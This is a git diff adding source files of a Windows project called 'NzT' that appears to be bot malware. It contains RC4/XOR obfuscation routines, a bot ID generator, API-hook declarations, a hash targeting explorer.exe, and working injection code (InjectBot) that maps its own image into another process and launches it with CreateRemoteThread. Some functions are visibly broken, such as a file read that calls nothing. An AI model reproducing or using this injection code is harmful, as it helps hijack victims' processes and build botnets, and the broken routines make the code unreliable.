LPVOID Realloc(PVOID Old, SIZE_T Size);
/* strings */
INT IntToString(CONST PCHAR String);
DWORD StringLengthA(CONST LPSTR String);
DWORD StringLengthW(CONST LPWSTR String);
LPSTR StringCopyA(CONST LPSTR Input, DWORD Length);
LPWSTR StringCopyW(CONST LPWSTR Input, DWORD Length);
BOOL StringConcatExA(LPSTR* ppszData, DWORD dwCurrentLength, const LPSTR pszSource, DWORD dwLength);
BOOL StringConcatA(LPSTR* ppszData, const LPSTR pszSource);
BOOL StringConcatExW(LPWSTR* ppwzData, DWORD dwCurrentLength, const LPWSTR pwzSource, DWORD dwLength);
BOOL StringConcatW(LPWSTR* ppwzData, const LPWSTR pwzSource);
INT StringCompareA(LPCSTR String1, LPCSTR String2);
BOOL StringCompareW(CONST LPWSTR Input, CONST LPWSTR Data);
PCHAR StringTokenizeA(PCHAR String, CONST PCHAR Delim);
PWCHAR StringTokenizeW(PWCHAR String, CONST PWCHAR Delim);
PWCHAR StringToLowerW(CONST PWCHAR Input, DWORD Length);
BOOL StringEndsWithSlashW(CONST PWCHAR String);
char* StringChr(s, c);
BOOL StringToUnicode(PUNICODE_STRING String, CONST LPWSTR Buffer);
void FreeUnicodeString(PUNICODE_STRING String);
#endif

121
src/Shared/crypto.c Normal file
View File

@ -0,0 +1,121 @@
#include "nzt.h"
#include "crypto.h"
#define RtlOffsetToPointer(B,O) ((PCHAR)(((PCHAR)(B)) + ((ULONG_PTR)(O))))
DWORD Crc32Hash(CONST PVOID Data, DWORD Size)
{
DWORD i, j, crc, cc;
if (NzT.Crc.Initialized == FALSE)
{
for (i = 0; i < 256; i++)
{
crc = i;
for (j = 8; j > 0; j--)
{
if (crc & 0x1)crc = (crc >> 1) ^ 0xEDB88320L;
else crc >>= 1;
}
NzT.Crc.Table[i] = crc;
}
NzT.Crc.Initialized = TRUE;
}
cc = 0xFFFFFFFF;
for (i = 0; i < Size; i++)cc = (cc >> 8) ^ NzT.Crc.Table[(((LPBYTE)Data)[i] ^ cc) & 0xFF];
return ~cc;
}
VOID CryptRC4(PCHAR pKey, DWORD Key, PVOID Destination, PVOID Source, DWORD Length)
{
DWORD i = 0, j = 0, k = 0;
UCHAR ucKey[256] = { 0 };
UCHAR ucTemp = 0;
for (i = 0; i < sizeof(ucKey); i++)
ucKey[i] = (CHAR)i;
for (i = j = 0; i < sizeof(ucKey); i++)
{
j = (j + pKey[i % Key] + ucKey[i]) % 256;
ucTemp = ucKey[i];
ucKey[i] = ucKey[j];
ucKey[j] = ucTemp;
}
for (i = j = 0, k = 0; k < Length; k++)
{
i = (i + 1) % 256;
j = (j + ucKey[i]) % 256;
ucTemp = ucKey[i];
ucKey[i] = ucKey[j];
ucKey[j] = ucTemp;
*RtlOffsetToPointer(Destination, k) = *RtlOffsetToPointer(Source, k) ^ ucKey[(ucKey[i] + ucKey[j]) % 256];
}
}
//
// Encrypts the specified memory buffer by XORing it's data with the specified key value in CBC manner.
//
VOID __stdcall CryptXor(
PCHAR Buffer, // data buffer
ULONG Size, // size of the buffer in bytes
ULONG Key, // key value
BOOL SkipZero // TRUE to skip zero dwords
)
{
PULONG pDwords = (PULONG)Buffer;
ULONG uDword, uVector = 0, Count = 0;
if (Size /= sizeof(ULONG))
{
do
{
uDword = *pDwords;
if (SkipZero && uDword == 0 && Size > 1 && pDwords[1] == 0)
break;
uDword = _rotl(uDword, Count += 1);
uDword ^= uVector;
uDword ^= Key;
uVector = uDword;
*pDwords = uDword;
pDwords += 1;
} while (Size -= 1);
} // if (Size /= sizeof(ULONG))
}
VOID __stdcall XorDecryptBuffer(
PCHAR Buffer, // buffer containing encrypted data
ULONG Size, // size of the buffer in bytes
ULONG Key, // key value
BOOL SkipZero // TRUE to skip zero dwords
)
{
PULONG pDwords = (PULONG)Buffer;
ULONG uDword, uLast, uVector = 0, Count = 0;
if (Size /= sizeof(ULONG))
{
do
{
uLast = uDword = *pDwords;
if (SkipZero && uDword == 0)
break;
uDword ^= Key;
uDword ^= uVector;
uDword = _rotr(uDword, Count += 1);
uVector = uLast;
*pDwords = uDword;
pDwords += 1;
} while (Size -= 1);
} // if (Size /= sizeof(ULONG))
}

20
src/Shared/crypto.h Normal file
View File

@ -0,0 +1,20 @@
#ifndef _CRYPTO_H_
#define _CRYPTO_H_
DWORD Crc32Hash(CONST PVOID Data, DWORD Size);
VOID CryptRC4(PCHAR pKey, DWORD Key, PVOID Destination, PVOID Source, DWORD Length);
VOID __stdcall CryptXor(
PCHAR Buffer, // data buffer
ULONG Size, // size of the buffer in bytes
ULONG Key, // key value
BOOL SkipZero // TRUE to skip zero dwords
);
VOID __stdcall XorDecryptBuffer(
PCHAR Buffer, // buffer containing encrypted data
ULONG Size, // size of the buffer in bytes
ULONG Key, // key value
BOOL SkipZero // TRUE to skip zero dwords
);
#endif

0
src/Shared/debug.c Normal file
View File

222
src/Shared/file.c Normal file
View File

@ -0,0 +1,222 @@
#include <Windows.h>
#include "file.h"
#include "crt.h"
#include "ntdll.h"
#include "nzt.h"
#include "utils.h"
BOOL FileGetInfo(HANDLE FileHandle, PFILE_STANDARD_INFORMATION Info)
{
IO_STATUS_BLOCK IO;
MemoryZero(&IO, sizeof(IO_STATUS_BLOCK));
MemoryZero(Info, sizeof(FILE_STANDARD_INFORMATION));
if (API(NtQueryInformationFile)(FileHandle, &IO, Info, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation) >= 0)
return TRUE;
return FALSE;
}
BOOL FileGetSize(HANDLE FileHandle, PDWORD FileSize)
{
FILE_STANDARD_INFORMATION Info;
*FileSize = 0;
if (!FileGetInfo(FileHandle, &Info))
return FALSE;
*FileSize = Info.AllocationSize.LowPart;
return TRUE;
}
BOOL FileOpen(HANDLE* FileHandle, CONST LPWSTR Path, ACCESS_MASK AccessMask, ULONG CreateDisposition)
{
NTSTATUS Status;
UNICODE_STRING US;
OBJECT_ATTRIBUTES OA;
IO_STATUS_BLOCK IO;
BOOL bStatus = FALSE;
*FileHandle = INVALID_HANDLE_VALUE;
MemoryZero(&IO, sizeof(IO_STATUS_BLOCK));
MemoryZero(&OA, sizeof(OBJECT_ATTRIBUTES));
OA.Length = sizeof(OBJECT_ATTRIBUTES);
API(RtlInitUnicodeString)(&US, Path);
OA.ObjectName = &US;
OA.Attributes = OBJ_CASE_INSENSITIVE;
Status = API(NtCreateFile(FileHandle, AccessMask | SYNCHRONIZE, &OA, &IO, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, CreateDisposition, FILE_NON_DIRECTORY_FILE | FILE_RANDOM_ACCESS | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0));
if (NT_SUCCESS(Status))
bStatus = TRUE;
return bStatus;
}
BOOL FileWrite(HANDLE FileHandle, CONST LPVOID Buffer, DWORD Length)
{
NTSTATUS Status;
IO_STATUS_BLOCK IO;
Status = API(NtWriteFile)(FileHandle, NULL, NULL, NULL, &IO, &Buffer, Length, NULL, NULL);
if (NT_SUCCESS(Status))
return TRUE;
return FALSE;
}
BOOL FileRead(HANDLE FileHandle, LPVOID* Buffer, DWORD Length, PDWORD ReadLength)
{
IO_STATUS_BLOCK IO;
LARGE_INTEGER LI;
LI.LowPart = 0;
LI.HighPart = 0;
if ((*Buffer = Malloc(Length)) == 0)
return FALSE;
if ( (FileHandle, 0, 0, 0, &IO, *Buffer, Length, &LI, 0) >= 0)
{
*ReadLength = IO.Information;
return TRUE;
}
return FALSE;
}
BOOL FileWriteBuffer(CONST LPWSTR Path, CONST LPVOID Buffer, DWORD Length, BOOL Append)
{
BOOL Status = FALSE;
HANDLE FileHandle;
if (!FileOpen(&FileHandle, Path, GENERIC_WRITE, FILE_OPEN_IF))
return Status;
Status = FileWrite(FileHandle, Buffer, Length);
API(NtClose)(FileHandle);
return Status;
}
BOOL FileReadBuffer(CONST LPWSTR Path, LPVOID* Buffer, PDWORD Length)
{
BOOL Status = FALSE;
HANDLE FileHandle;
DWORD FileSize;
if (!FileOpen(&FileHandle, Path, GENERIC_READ, FILE_OPEN))
return Status;
if (!FileGetSize(FileHandle, &FileSize))
return Status;
Status = FileRead(FileHandle, Buffer, FileSize, Length);
return Status;
}
BOOL FileCreateDirectory(CONST LPWSTR Path)
{
NTSTATUS Status;
IO_STATUS_BLOCK IO;
OBJECT_ATTRIBUTES OA;
UNICODE_STRING US;
HANDLE Handle;
BOOL bStatus = FALSE;
MemoryZero(&IO, sizeof(IO));
MemoryZero(&OA, sizeof(OA));
OA.Attributes = OBJ_CASE_INSENSITIVE;
OA.Length = sizeof(OA);
API(RtlInitUnicodeString)(&US, Path);
OA.ObjectName = &US;
Status = API(NtCreateFile)(&Handle, GENERIC_WRITE, &OA, &IO, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_CREATE, FILE_DIRECTORY_FILE, NULL, 0);
if (NT_SUCCESS(Status))
{
bStatus = TRUE;
API(NtClose)(Handle);
}
return bStatus;
}
BOOL FileDelete(CONST LPWSTR Path)
{
BOOL Status = FALSE;
OBJECT_ATTRIBUTES OA;
UNICODE_STRING US;
MemoryZero(&OA, sizeof(OBJECT_ATTRIBUTES));
OA.Attributes = OBJ_CASE_INSENSITIVE;
OA.Length = sizeof(OA);
API(RtlInitUnicodeString)(&US, Path);
OA.ObjectName = &US;
if (API(NtDeleteFile)(&OA) >= 0)
Status = TRUE;
return Status;
}
BOOL FileCopy(CONST LPWSTR OriginalPath, CONST LPWSTR NewPath, BOOL DeleteOriginal)
{
BOOL Status = FALSE;
LPVOID File;
DWORD FileSize;
if (!FileReadBuffer(OriginalPath, &File, &FileSize))
return Status;
if (!FileWriteBuffer(NewPath, File, FileSize, TRUE))
return Status;
if (DeleteOriginal)
FileDelete(OriginalPath);
Free(File);
return Status;
}
BOOL IsValidNtPath(const LPWSTR Path)
{
BOOL Status = FALSE;
LPWSTR Data;
if ((Data = StringCopyW(Path, 4)) != 0)
{
Status = StringCompareW(Path, L"\\??\\");
Free(Data);
}
return Status;
}
BOOL DosPathToNtPath(LPWSTR* Path)
{
LPWSTR NtPath = NULL;
if (IsValidNtPath(*Path))
return TRUE;
if (StringConcatW(&NtPath, L"\\??\\") && StringConcatW(&NtPath, *Path))
{
Free(*Path);
*Path = NtPath;
return TRUE;
}
if (NtPath != NULL)
Free(NtPath);
return FALSE;
}

16
src/Shared/file.h Normal file
View File

@ -0,0 +1,16 @@
#ifndef __FILE_H__
#define __FILE_H__
BOOL FileGetInfo(HANDLE FileHandle, PFILE_STANDARD_INFORMATION Info);
BOOL FileGetSize(HANDLE FileHandle, PDWORD FileSize);
BOOL FileOpen(HANDLE* FileHandle, CONST LPWSTR Path, ACCESS_MASK AccessMask, ULONG CreateDisposition);
BOOL FileWrite(HANDLE FileHandle, CONST LPVOID Buffer, DWORD Length);
BOOL FileRead(HANDLE FileHandle, LPVOID* Buffer, DWORD Length, PDWORD ReadLength);
BOOL FileWriteBuffer(CONST LPWSTR Path, CONST LPVOID Buffer, DWORD Length, BOOL Append);
BOOL FileReadBuffer(CONST LPWSTR Path, LPVOID* Buffer, PDWORD Length);
BOOL FileCreateDirectory(const LPWSTR Path);
BOOL FileDelete(CONST LPWSTR Path);
BOOL FileCopy(CONST LPWSTR OriginalPath, CONST LPWSTR NewPath, BOOL DeleteOriginal);
BOOL DosPathToNtPath(LPWSTR* Path);
#endif

79
src/Shared/guid.c Normal file
View File

@ -0,0 +1,79 @@
#include "nzt.h"
#include "guid.h"
#include "crt.h"
#include "utils.h"
static DWORD GuidRandom(PDWORD Seed)
{
return(*Seed = 1664525 * (*Seed));
}
VOID GuidGenerate(
GUID * Guid,
PDWORD Seed
)
{
Guid->Data1 = GuidRandom(Seed);
Guid->Data2 = (DWORD)GuidRandom(Seed);
Guid->Data3 = (DWORD)GuidRandom(Seed);
for (DWORD i = 0; i < 8; i++)
Guid->Data4[i] = (UCHAR)GuidRandom(Seed);
}
LPTSTR GuidGenerateEx(PDWORD Seed)
{
ULONG Length = GUID_STR_LENGTH + 1;
LPTSTR GuidString, Name = NULL;
GUID Guid;
GuidGenerate(&Guid, Seed);
if (GuidString = GuidToString(&Guid))
{
if (Name = (LPTSTR)Malloc(Length * sizeof(TCHAR)))
{
Name[0] = 0;
StringConcatA(&Name, GuidString);
}
Free(GuidString);
}
return (Name);
}
VOID GuidFillName(
PDWORD Seed,
LPTSTR GuidName
)
{
GUID Guid;
ULONG Size = 0;
GuidGenerate(&Guid, Seed);
Size = NzT.Api.pwsprintfA(GuidName, GUID_STR_FORMAT, Guid.Data1, Guid.Data2, Guid.Data3, *(PDWORD)&Guid.Data4[0], *(PDWORD)&Guid.Data4[2], *(PDWORD)&Guid.Data4[6]);
}
ULONG GuidToBuffer(
GUID* Guid,
LPTSTR Buffer
)
{
return (NzT.Api.pwsprintfA(Buffer, GUID_STR_FORMAT, htonS(Guid->Data1), htonS(Guid->Data2), htonS(Guid->Data3), htonS(*(PDWORD)&Guid->Data4[0]),
htonL(*(PDWORD)&Guid->Data4[2]), htonS(*(PDWORD)&Guid->Data4[6])));
}
LPTSTR GuidToString(GUID *Guid)
{
LPTSTR String = NULL;
if (String = (LPTSTR)Malloc((GUID_STR_LENGTH + 1) * sizeof(TCHAR)))
GuidToBuffer(Guid, String);
return (String);
}
LPTSTR GetBotGuid()
{
return GuidGenerateEx(GetSerialNumber());
}

42
src/Shared/guid.h Normal file
View File

@ -0,0 +1,42 @@
#ifndef _GUID_H_
#define _GUID_H_
/* Defines */
#define GUID_STR_LENGTH 16*2+4+2
#define GUID_STR_FORMAT ("%04X%04X%04X%04X%08X%04X")
/* Structures */
typedef union _GUID_EX
{
GUID Guid;
struct
{
DWORD Data1;
DWORD Data2;
DWORD Data3;
DWORD Data4;
};
}GUID_EX, *PGUID_EX;
/* Functions */
VOID GuidGenerate(
GUID* Guid,
PDWORD Seed
);
VOID GuidFillName(
PDWORD Seed,
LPTSTR GuidName
);
ULONG GuidToBuffer(
GUID* Guid,
LPTSTR Buffer
);
LPTSTR GuidToString(GUID *Guid);
LPTSTR GetBotGuid();
#endif

6
src/Shared/hashes.h Normal file
View File

@ -0,0 +1,6 @@
#ifndef __HASHES_H__
#define __HASHES_H__
#define HASH_EXPLORER_EXE 0x095e2844
#endif

7
src/Shared/hook.c Normal file
View File

@ -0,0 +1,7 @@
#include <Windows.h>
#include <stdio.h>
#include "hook.h"
#include "crt.h"

21
src/Shared/hook.h Normal file
View File

@ -0,0 +1,21 @@
#ifndef __HOOK_H__
#define __HOOK_H__
typedef struct
{
CHAR* DLL;
CHAR* Name;
LPVOID Proxy;
LPVOID Original;
DWORD Length;
} HOOKS, PHOOKS;
typedef int (WINAPI *pOldMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType);
int HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType);
BOOL HookFunction(PCHAR DLL, PCHAR Name, LPVOID Proxy, LPVOID Original, PDWORD Length);
BOOL UnhookFunction(PCHAR DLL, PCHAR Name, LPVOID Proxy, LPVOID Original, PDWORD Length);
#endif

181
src/Shared/injection.c Normal file
View File

@ -0,0 +1,181 @@
#include <Windows.h>
#include "nzt.h"
#include "utils.h"
LPVOID GetImageBase(LPVOID ProcessAddress)
{
LPBYTE Address = (LPBYTE)ProcessAddress;
Address = (LPBYTE)((SIZE_T)Address & 0xFFFFFFFFFFFF0000);
for (;;)
{
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)Address;
if (DosHeader->e_magic == IMAGE_DOS_SIGNATURE)
{
if (DosHeader->e_lfanew < 0x1000)
{
PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)&((unsigned char*)Address)[DosHeader->e_lfanew];
if (NtHeaders->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
Address -= 0x1000;
}
return Address;
}
VOID ProcessRelocation(PIMAGE_BASE_RELOCATION Relocation, DWORD ImageBase, DWORD Delta, DWORD Size)
{
PIMAGE_FIXUP_ENTRY Fixup;
DWORD PointerRva;
PIMAGE_BASE_RELOCATION LocalRelocation = Relocation;
while ((DWORD)LocalRelocation - (DWORD)Relocation < Size)
{
if (!LocalRelocation->SizeOfBlock)
break;
Fixup = (PIMAGE_FIXUP_ENTRY)((ULONG)LocalRelocation + sizeof(IMAGE_BASE_RELOCATION));
for (ULONG r = 0; r < (LocalRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1; r++)
{
PointerRva = LocalRelocation->VirtualAddress + Fixup->Offset;
if (Fixup->Type == IMAGE_REL_BASED_HIGHLOW)
*(PULONG)((ULONG)ImageBase + PointerRva) += Delta;
Fixup++;
}
LocalRelocation = (PIMAGE_BASE_RELOCATION)((ULONG)LocalRelocation + LocalRelocation->SizeOfBlock);
}
return;
}
LPVOID InjectData(
HANDLE Process,
LPVOID Data,
DWORD Size
)
{
LPVOID Address;
if ((Address = NzT.Api.pVirtualAllocEx(Process, NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
return NULL;
if (!NzT.Api.pWriteProcessMemory(Process, Address, Data, Size, NULL))
{
NzT.Api.pVirtualFreeEx(Process, Address, Size, MEM_RELEASE);
return NULL;
}
return Address;
}
DWORD InjectCode(
HANDLE Process,
LPVOID Function
)
{
HANDLE Map, RemoteThread, Mutex, RemoteMutex;
DWORD Base, Size, ViewSize, NewBaseAddress, Address, ProcessId;
LPVOID View;
NTSTATUS Status;
PIMAGE_DOS_HEADER DosHeader;
PIMAGE_NT_HEADERS NtHeaders;
ULONG RelativeRva, RelativeSize;
do
{
Map = 0;
RemoteThread = 0;
View = NULL;
Mutex = 0;
RemoteMutex = 0;
if ((ProcessId = GetProcessIdByHandle(Process)) == -1)
break;
if ((Mutex = CreateMutexOfProcess(ProcessId)) == 0)
break;
if (!API(DuplicateHandle)(API(GetCurrentProcess)(), Mutex, Process, &RemoteMutex, 0, FALSE, DUPLICATE_SAME_ACCESS))
break;
Base = (DWORD)GetImageBase(Function);
Size = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((PBYTE)(Base)+((PIMAGE_DOS_HEADER)
(Base))->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
if ((Map = API(CreateFileMappingW)(NzT.Api.pGetCurrentProcess()
, NULL, PAGE_EXECUTE_READWRITE, 0, Size, NULL)) == 0)
break;
if ((View = API(MapViewOfFile)(Map, FILE_MAP_WRITE, 0, 0, 0)) == NULL)
break;
MemoryCopy(View, (LPVOID)Base, Size);
ViewSize = 0;
NewBaseAddress = 0;
if ((Status = (NTSTATUS)API(NtMapViewOfSection)(Map, Process, (PVOID*)&NewBaseAddress, 0, Size,
NULL, &ViewSize, (SECTION_INHERIT)1, 0, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
break;
DosHeader = (PIMAGE_DOS_HEADER)Base;
NtHeaders = NtHeaders = (PIMAGE_NT_HEADERS)RVATOVA(Base, DosHeader->e_lfanew);
RelativeRva = NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
RelativeSize = NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
ProcessRelocation((PIMAGE_BASE_RELOCATION)(Base + RelativeRva), (DWORD)View, NewBaseAddress - Base, RelativeSize);
Address = (DWORD)Function - Base + NewBaseAddress;
} while (FALSE);
if (Mutex != 0)
API(CloseHandle)(Mutex);
if (Map != 0)
API(CloseHandle)(Map);
if (RemoteThread != 0)
API(CloseHandle)(RemoteThread);
if (View != NULL)
API(UnmapViewOfFile)(View);
return Address;
}
BOOL InjectBot(DWORD ProcessId, LPTHREAD_START_ROUTINE Thread)
{
DWORD Address;
HANDLE RemoteThread, Process;
BOOL Injected = FALSE;
if ((Process = NzT.Api.pOpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ |
PROCESS_CREATE_THREAD |
PROCESS_DUP_HANDLE
, FALSE, ProcessId)) == 0)
return FALSE;
if ((Address = InjectCode(Process, Thread)) == 0)
return FALSE;
if ((RemoteThread = NzT.Api.pCreateRemoteThread(Process, NULL, 0, (LPTHREAD_START_ROUTINE)Address, NULL, 0, NULL)) != 0)
{
NzT.Api.pCloseHandle(RemoteThread);
Injected = TRUE;
}
NzT.Api.pCloseHandle(Process);
return Injected;
}

6
src/Shared/injection.h Normal file
View File

@ -0,0 +1,6 @@
#ifndef __INJECTION_H__
#define __INJECTION_H__
BOOL InjectBot(DWORD ProcessId, LPTHREAD_START_ROUTINE Thread);
#endif //__INJECTION_H__

View File

@ -0,0 +1,396 @@
#ifndef __KERNEL32_FUNCTIONS_H__
#define __KERNEL32_FUNCTIONS_H__
#include <Windows.h>
#include <TlHelp32.h>
typedef LPVOID(WINAPI* ptVirtualAlloc)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef HANDLE(WINAPI* ptOpenProcess)(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId
);
typedef BOOL(WINAPI* ptProcess32FirstW)(
_In_ HANDLE hSnapshot,
_Out_ LPPROCESSENTRY32W lppe
);
typedef BOOL(WINAPI* ptProcess32NextW)(
_In_ HANDLE hSnapshot,
_Out_ LPPROCESSENTRY32W lppe
);
typedef BOOL(WINAPI* ptWriteProcessMemory)(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);
typedef LPVOID(WINAPI* ptVirtualAllocEx)(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef BOOL(WINAPI* ptVirtualFree)(
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD dwFreeType
);
typedef BOOL(WINAPI* ptVirtualFreeEx)(
_In_ HANDLE hProcess,
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD dwFreeType
);
typedef BOOL(WINAPI* ptSetThreadContext)(
_In_ HANDLE hThread,
_In_ const CONTEXT *lpContext
);
typedef HANDLE(WINAPI* ptCreateRemoteThread)(
_In_ HANDLE hProcess,
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_ LPDWORD lpThreadId
);
typedef BOOL(WINAPI* ptCloseHandle)(
_In_ HANDLE hObject
);
typedef HANDLE(WINAPI* ptCreateToolhelp32Snapshot)(
_In_ DWORD dwFlags,
_In_ DWORD th32ProcessID
);
typedef BOOL(WINAPI* ptCreateProcessW)(
_In_opt_ LPCWSTR lpApplicationName,
_Inout_opt_ LPWSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCWSTR lpCurrentDirectory,
_In_ LPSTARTUPINFOW lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
typedef BOOL(WINAPI* ptVirtualProtect)(
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpflOldProtect
);
typedef VOID(WINAPI* ptExitProcess)(
_In_ UINT uExitCode
);
typedef DWORD(WINAPI* ptGetModuleFileNameW)(
_In_opt_ HMODULE hModule,
_Out_writes_to_(nSize, ((return < nSize) ? (return +1) : nSize)) LPWSTR lpFilename,
_In_ DWORD nSize
);
typedef BOOL(WINAPI* ptDeleteFileW)(
_In_ LPCWSTR lpFileName
);
typedef VOID(WINAPI* ptSleep)(
_In_ DWORD dwMilliseconds
);
typedef HMODULE(WINAPI* ptLoadLibraryW)(
_In_ LPCWSTR lpLibFileName
);
typedef BOOL(WINAPI* ptIsWow64Process)(
_In_ HANDLE hProcess,
_Out_ PBOOL Wow64Process
);
typedef DWORD(WINAPI* ptGetCurrentProcessId)(VOID);
typedef UINT(WINAPI* ptGetWindowsDirectoryW)(
_Out_writes_to_opt_(uSize, return +1) LPWSTR lpBuffer,
_In_ UINT uSize
);
typedef DWORD(WINAPI* ptResumeThread)(
_In_ HANDLE hThread
);
typedef DWORD(WINAPI* ptQueueUserAPC)(
_In_ PAPCFUNC pfnAPC,
_In_ HANDLE hThread,
_In_ ULONG_PTR dwData
);
typedef UINT(WINAPI* ptGetSystemDirectoryW)(
_Out_writes_to_opt_(uSize, return +1) LPWSTR lpBuffer,
_In_ UINT uSize
);
typedef HANDLE(WINAPI* ptFindFirstFileW)(
_In_ LPCWSTR lpFileName,
_Out_ LPWIN32_FIND_DATAW lpFindFileData
);
typedef BOOL(WINAPI* ptFindNextFileW)(
_In_ HANDLE hFindFile,
_Out_ LPWIN32_FIND_DATAW lpFindFileData
);
typedef HANDLE(WINAPI* ptCreateThread)(
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ __drv_aliasesMem LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);
typedef HANDLE(WINAPI* ptCreateFileW)(
_In_ LPCWSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
);
typedef BOOL(WINAPI* ptWriteFile)(
_In_ HANDLE hFile,
_In_reads_bytes_opt_(nNumberOfBytesToWrite) LPCVOID lpBuffer,
_In_ DWORD nNumberOfBytesToWrite,
_Out_opt_ LPDWORD lpNumberOfBytesWritten,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
typedef BOOL(WINAPI* ptReadFile)(
_In_ HANDLE hFile,
_Out_writes_bytes_to_opt_(nNumberOfBytesToRead, *lpNumberOfBytesRead) __out_data_source(FILE) LPVOID lpBuffer,
_In_ DWORD nNumberOfBytesToRead,
_Out_opt_ LPDWORD lpNumberOfBytesRead,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
typedef DWORD(WINAPI* ptGetFileSize)(
_In_ HANDLE hFile,
_Out_opt_ LPDWORD lpFileSizeHigh
);
typedef BOOL(WINAPI* ptGetVersionExW)(
_Inout_ LPOSVERSIONINFOW lpVersionInformation
);
typedef HANDLE(WINAPI* ptFindFirstVolumeW)(
_Out_writes_(cchBufferLength) LPWSTR lpszVolumeName,
_In_ DWORD cchBufferLength
);
typedef BOOL(WINAPI* ptGetVolumeInformationW)(
_In_opt_ LPCWSTR lpRootPathName,
_Out_writes_opt_(nVolumeNameSize) LPWSTR lpVolumeNameBuffer,
_In_ DWORD nVolumeNameSize,
_Out_opt_ LPDWORD lpVolumeSerialNumber,
_Out_opt_ LPDWORD lpMaximumComponentLength,
_Out_opt_ LPDWORD lpFileSystemFlags,
_Out_writes_opt_(nFileSystemNameSize) LPWSTR lpFileSystemNameBuffer,
_In_ DWORD nFileSystemNameSize
);
typedef BOOL(WINAPI* ptFindVolumeClose)(
_In_ HANDLE hFindVolume
);
typedef int (WINAPI* ptwsprintfA)(
_Out_ LPSTR,
_In_ _Printf_format_string_ LPCSTR,
...);
typedef int (WINAPI* ptMultiByteToWideChar)(
_In_ UINT CodePage,
_In_ DWORD dwFlags,
_In_ LPCSTR lpMultiByteStr,
_In_ int cbMultiByte,
_Out_opt_ LPWSTR lpWideCharStr,
_In_ int cchWideChar
);
typedef HMODULE(WINAPI* ptGetModuleHandleW)(
_In_opt_ LPCWSTR lpModuleName
);
typedef BOOL(WINAPI* ptFlushInstructionCache)(
__in HANDLE hProcess,
__in_bcount_opt(dwSize) LPCVOID lpBaseAddress,
__in SIZE_T dwSize
);
typedef HANDLE(WINAPI* ptGetProcessHeap)(VOID);
typedef LPVOID(WINAPI* ptHeapAlloc)(
_In_ HANDLE hHeap,
_In_ DWORD dwFlags,
_In_ SIZE_T dwBytes
);
typedef BOOL(WINAPI* ptHeapFree)(
_Inout_ HANDLE hHeap,
_In_ DWORD dwFlags,
LPVOID lpMem
);
typedef HANDLE(WINAPI* ptGetCurrentProcess)(
VOID
);
typedef BOOL(WINAPI* ptThread32First)(
HANDLE hSnapshot,
LPTHREADENTRY32 lpte
);
typedef BOOL(WINAPI* ptThread32Next)(
HANDLE hSnapshot,
LPTHREADENTRY32 lpte
);
typedef HANDLE(WINAPI* ptOpenMutexW)(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ LPCWSTR lpName
);
typedef BOOL(WINAPI* ptReleaseMutex)(
_In_ HANDLE hMutex
);
typedef HANDLE(WINAPI* ptCreateMutexW)(
_In_opt_ LPSECURITY_ATTRIBUTES lpMutexAttributes,
_In_ BOOL bInitialOwner,
_In_opt_ LPCWSTR lpName
);
typedef SIZE_T(WINAPI* ptVirtualQuery)(
__in_opt LPCVOID lpAddress,
__out_bcount_part(dwLength, return) PMEMORY_BASIC_INFORMATION lpBuffer,
__in SIZE_T dwLength
);
typedef HANDLE(WINAPI* ptCreateFileMappingW)(
_In_ HANDLE hFile,
